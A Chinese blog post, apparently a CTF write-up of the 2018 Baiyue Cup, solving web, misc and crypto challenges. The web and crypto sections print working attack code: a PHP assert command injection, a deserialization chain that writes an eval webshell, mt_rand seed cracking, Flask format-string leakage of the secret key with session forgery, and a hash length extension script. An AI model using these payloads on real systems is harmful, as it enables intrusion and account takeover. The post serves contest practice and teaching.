Xi4or0uji's blog

2018百越杯wp

字数统计: 2.1k阅读时长: 10 min
2019/02/24 Share

WEB

warmup

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php 
require_once('flag.php');
error_reporting(0);

if(!isset($_GET['u'])){
highlight_file(__FILE__);
die();
}else{
$i=$_GET['i'];
$u=$_GET['u'];
if($_GET['u']!="Hello World"){
die('die...');
}
assert("$i == $u");
// TODO
// echo $flag;
}

有个assert函数,利用注释符将后面的东西注释掉,然后进行命令执行,payload

1
2
?u=Hello World&i=system('cat flag.php');//
?u=Hello World&i=system('sort flag.php');%23

simple ser

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
if(strpos($this->filename,'../') !== false ||
strpos($this->filename,'\\') !== false)
die();
$content = '<?php die(\'stupid\'); ?>';
$content .= $this->txt;
file_put_contents($this->filename, $content);
return htmlspecialchars($content);
}
}

if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}

一道很经典的反序列化题,pop链如下:
通过cls1的_wakeup方法调用cls2的_get方法,然后调用fileput方法,绕过里面的退出,写个小马,然后任意命令执行
exp如下

1
2
3
4
5
6
7
$c1 = new cls1();
$c2 = new cls2();
$c1->cls = $c2;
$c1->arr = ['a'=>'fileput'];
$c2->filename = 'php://filter/write=convert.base64-decode/resource=hello.php';
$c2->txt = 'PD9waHAgZXZhbChAJF9QT1NUWydjbWQnXSk7Pz4=';
echo base64_encode(serialize($c1));

然后直接ser发送过去就会生成hello.php小马,接着菜刀就行

Download it

这题考的是php随机函数的安全性漏洞,在SWPU也考过,首先可以看到三张源码图



通过源码我们可以确定,考察的就是随机数的安全问题,所以先找种子
在index.php里面有个随机数IJiJXvRf,先拿去爆破

1
2
3
4
5
6
7
$str = "IJiJXvRf";
$rand = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

for ($i=0; $i<strlen($str); $i++){
$pos = strpos($rand,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($rand)-1)." ";
}


然后生成32位的随机码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function gen_rand($length){
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$randstr = '';
for ( $i = 0; $i < $length; $i++ ) {
$randstr .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $randstr;
}

echo "<br>";
//IJiJXvRf
mt_srand(810504305);
echo gen_rand(8);
echo "<br>";
echo gen_rand(32);echo "<br>";


然后读flag

1
echo authcode("filename=flag","ENCODE","OaxSTnku5XqaQ9ly6D14roxGFTF5KbQj");

然后将得到的进行url编码接着访问download.php?download=就行了

easy flask

这题先去注册登录,然后可以看到有个session

解密一下出来是一个id值

登录页面发现有id这个参数,遍历一下可以看到id是5时,用户是admin
扫下泄露出来一个www.zip ,可以看到,想要拿到flag,必须是管理员

1
2
3
4
5
6
7
8
@bp_auth.route('/flag')
@login_check
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"

继续看下secret.py有个views_info函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')

user_m = user.query.filter_by(id=view_id).first()

if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')

if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"

name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"

info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)

可以看到,这里有个format函数,里面有name、email和secret_t,继续往上看,还有一个format函数,解析secret_m,secret_m就是页面edit_secret的那个参数,至此,我们就可以利用format格式化字符串漏洞获得secret-key然后session伪造登录
payload如下

1
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

最后得到secret_key为ichunqiuQAQ013,接下来就是session的伪造

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask,session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'ichunqiuQAQ013'

def set_id():
session['id'] = 5
return "ok"

if __name__ == '__main__':
app.debug = True
app.run()

然后修改session登录访问/flag就有flag

misc

签到

一张数独的图,拿去在线解密一下再将所有数字排成一行加密一下就有了

加密出来结果是

1
cee3860fb3f4a52e615fa8aaf3c91f2b

马男波杰克

题目只说了要百度,然后图片名字是atool,猜测是atool加密,去在线解密一下http://www.atool.org/steganography.php

血小板天下第一可爱

拿到两张图片,一张血小板,一张缺了两个定位点的二维码,补全一下扫出来这个东西

1
a2V5JTNBJTIwTHNiXzFzX2dyM2F0

base64解密出来是key: Lsb_1s_gr3at,推测是lsb隐写

1
python lsb.py extract 123.png 123.txt Lsb_1s_gr3at

出来flag是flag{1_l0ve_LSB~}

flag_universe

拿到一个数据包,然后去追踪ftp流,这里有个坑,有个flag.txt文件,是个flag来的,接着看到有个new_universe.png文件,将它导出来

接着去各种操作,最后发现是lsb隐写,一场比赛考两个lsb隐写…….

crypto

常规rsa

这个打开拿到三个文件,一个pubkey.pem,一个flag.enc,还有一个rsa.py,先去提下公钥信息

1
2
3
4
5
6
7
8
9
10
11
12
Public-Key: (256 bit)
Modulus:
00:89:3f:05:5d:0d:c5:fe:76:4d:88:1d:5c:d6:0e:
96:7b:21:2c:e0:49:45:9e:57:d2:e8:41:ed:4a:81:
af:77:ed
Exponent: 9850747023606211927 (0x88b4e239fa48e557)
Modulus=893F055D0DC5FE764D881D5CD60E967B212CE049459E57D2E841ED4A81AF77ED
writing RSA key
-----BEGIN PUBLIC KEY-----
MEIwDQYJKoZIhvcNAQEBBQADMQAwLgIhAIk/BV0Nxf52TYgdXNYOlnshLOBJRZ5X
0uhB7UqBr3ftAgkAiLTiOfpI5Vc=
-----END PUBLIC KEY-----

看到n比较小,直接去网站分解下n

1
2
q = 184333227921154992916659782580114145999
p = 336771668019607304680919844592337860739

同时看encrypt函数,可以看见有个try … except ,而且flag.enc 中的数据很大,说明初始的 n 并不是最后加密的 N 值(因为RSA加密需要公钥n的长度至少是大于消息的长度的, 否则加密出来的密文会无法解密. PKCS#1 v1.5的python实现中, 如果公钥n长度小于要加密的消息, 加密会失败)
最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python2.7
import gmpy2
import libnum
from Crypto.Util.number import getPrime
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64decode

m = b64decode(open('flag.enc','r').read())
n = 62078208638445817213739226854534031566665495569130972218813975279479576033261
e = 9850747023606211927
q = 184333227921154992916659782580114145999
p = 336771668019607304680919844592337860739
i=1

while 1:
print i
i+=1
n=q*p
if n >= int(m.encode('hex'),16):
d = libnum.invmod(e,(p-1)*(q-1))
prikey = RSA.construct((int(n),int(e),int(d)))
key = PKCS1_v1_5.new(prikey)
m = key.decrypt(m,None)
break
else:
p = gmpy2.next_prime(p**2+q**2)
q = gmpy2.next_prime(2*q*p)
e = gmpy2.next_prime(e**2)

print m

最后的flag

1
flag{f@cToR__N_bY_!teratlnG!}

买手机

题目给了一个商店的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python
# encoding: utf-8

import random
import string
import signal
import sys
import os
import time
from hashlib import sha256
from urlparse import parse_qsl

os.chdir(os.path.dirname(os.path.abspath(__file__)))
signkey = ''.join([random.choice(string.letters+string.digits) for _ in xrange(random.randint(8,32))])
items = [
('iPhone X', 7399),
('iPhone 8', 4599),
('P20 Pro', 5488),
('P20', 3788),
('Honor 10', 2399),
('Mi 8', 2999),
('Find X', 4999),
('Nex', 4498),
('Mate10 Pro', 4899),
('Flag', 99999)
]

money = random.randint(3000, 30000)

def list_items():
for i,item in enumerate(items):
print '%2d - %-30s$%d' % (i, item[0], item[1])

def order():
n = input_int('Product ID: ')
if n < 0 or n >= len(items):
print 'Invalid ID!'
return
payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
sign = sha256(signkey+payment).hexdigest()
payment += '&sign=%s' % sign
print 'Your order:\n%s\n' % payment

def pay():
global money
print 'Your order:'
sys.stdout.flush()
payment = raw_input().strip()
sp = payment.rfind('&sign=')
if sp == -1:
print 'Invalid Order!'
return
sign = payment[sp+6:]
try:
sign = sign.decode('hex')
except TypeError:
print 'Invalid Order!'
return

payment = payment[:sp]
signchk = sha256(signkey+payment).digest()
if signchk != sign:
print 'Invalid Order!'
return

for k,v in parse_qsl(payment):
if k == 'product':
product = v
elif k == 'price':
try:
price = int(v)
except ValueError:
print 'Invalid Order!'
return

if money < price:
print 'Go away you poor bastard!'
return

money -= price
print 'Your current money: $%d' % money
print 'You have bought %s' % product
if product == 'Flag':
print 'Well Done! Here is your flag: %s' % open('flag').read().strip()

def input_int(prompt):
sys.stdout.write(prompt)
sys.stdout.flush()
try:
n = int(raw_input())
return n
except:
return 0

def menu():
print "CPU Shop"
while True:
print "Money: $%d" % money
print "1. List Items"
print "2. Order"
print "3. Pay"
print "4. Exit"
sys.stdout.flush()
choice = input_int("Command: ")
{
1: list_items,
2: order,
3: pay,
4: exit,
}.get(choice, lambda *args:1)()
sys.stdout.flush()

if __name__ == "__main__":
signal.alarm(60)
menu()

可以看到,有四个选项,1是显示商品,2是拿到购买命令,3是购买,4是退出,然后操作要在60秒完成,商品有flag,但是买不起,我们先看order函数

1
2
3
payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
sign = sha256(signkey+payment).hexdigest()
payment += '&sign=%s' % sign

可以看到他会将product,price和一个signkey一起加密,接着看pay函数

1
2
3
4
5
6
7
8
9
for k,v in parse_qsl(payment):
if k == 'product':
product = v
elif k == 'price':
try:
price = int(v)
except ValueError:
print 'Invalid Order!'
return

在pay的时候依旧验证hash值,但是这里还有个问题,他会将里面的product拿出来进行覆盖,因此我们可以选一个够钱买的,然后将product名字替换成Flag,就可以买到flag了
至于signkey我们不知道怎么办呢,因为他长度不长,只有8-32位,所以可以利用hashpump进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#! /usr/bin/env 
# coding: utf-8
from hashpumpy import hashpump
from pwn import *
context.log_level = 'debug'
host = '117.50.13.182'
port = 8888

r = remote(host, port)
r.recvuntil('Command: ')
r.sendline(b'2')
r.recvuntil('ID: ')
r.sendline(b'0')
r.recvuntil('Your order:\n')

payment = r.recvline().strip().decode()
sp = payment.rfind('&sign=')
pay = payment[:sp]
hexd = payment[sp+6:]
print pay,hexd

for i in range(8,34):
print i
rec = r.recvuntil('Command: ')
print rec
if 'flag' in rec:
print i,rec
break
r.sendline('3')
hashp = hashpump(hexd, pay, '&product=Flag',i)
sendpay = hashp[1] + b'&sign=' + hashp[0].encode()
r.sendline(sendpay)

CATALOG
  1. 1. WEB
    1. 1.1. warmup
    2. 1.2. simple ser
    3. 1.3. Download it
    4. 1.4. easy flask
  2. 2. misc
    1. 2.1. 签到
    2. 2.2. 马男波杰克
    3. 2.3. 血小板天下第一可爱
    4. 2.4. flag_universe
  3. 3. crypto
    1. 3.1. 常规rsa
    2. 3.2. 买手机